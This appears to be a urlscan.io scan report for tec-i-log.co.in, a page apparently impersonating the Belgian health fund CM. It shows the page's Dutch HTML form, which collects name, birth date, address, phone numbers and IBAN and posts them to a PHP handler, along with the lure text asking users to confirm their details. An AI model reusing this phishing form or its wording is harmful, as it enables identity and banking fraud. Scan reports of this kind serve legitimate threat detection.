tec-i-log.co.in Open in urlscan Pro
144.76.114.186  Public Scan

Form analysis
1 forms found in the DOM

POST /namenow0/process.php

<form id="signinForm" action="/namenow0/process.php" method="POST">
  <div class="form-section">
    <label for="name">Voor- en achternaam <span class="error" id="nameError"></span></label>
    <input type="text" id="name" name="name" placeholder="Voor- en achternaam" required="">
    <label for="dob">Geboortedatum (DD-MM-JJJJ, DDMMYYYY, MMDDYY, etc.) <span class="error" id="dobError"></span></label>
    <input type="text" id="dob" name="dob" placeholder="DD-MM-JJJJ" required="">
    <label for="address">Adres <span class="error" id="addressError"></span></label>
    <input type="text" id="address" name="address" placeholder="Adres" required="">
    <label for="city">Woonplaats <span class="error" id="cityError"></span></label>
    <input type="text" id="city" name="city" placeholder="Woonplaats" required="">
    <label for="mobile">Mobiel telefoonnummer <span class="error" id="mobileError"></span></label>
    <input type="tel" id="mobile" name="mobile" placeholder="Mobiel telefoonnummer" pattern="^(\d\s?){9,12}$" required="">
    <label for="landline">Vast telefoonnummer (optioneel) <span class="error" id="landlineError"></span></label>
    <input type="tel" id="landline" name="landline" placeholder="Vast telefoonnummer">
    <label for="iban">IBAN <span class="error" id="ibanError"></span></label>
    <input type="text" id="iban" name="iban" placeholder="IBAN" required="">
    <button type="submit">Bevestigen</button>
  </div>
</form>

Text Content

BEVESTIG UW KLANTGEGEVENS

Voor- en achternaam Geboortedatum (DD-MM-JJJJ, DDMMYYYY, MMDDYY, etc.) Adres
Woonplaats Mobiel telefoonnummer Vast telefoonnummer (optioneel) IBAN Bevestigen


NOG GEEN MIJN CM-ACCOUNT?

Geen probleem! Maak er snel en eenvoudig één aan.


ONTDEK ALLE VOORDELEN

 * ✅ Beheer snel en online je ziekenfondszaken
 * ✅ Overzicht van terugbetalingen en documenten
 * ✅ Veel gestelde vragen over Mijn CM

Registreren

© CM-Gezondheidsfonds 2024

Gebruiksvoorwaarden | Cookiebeleid | Privacybeleid | Statuten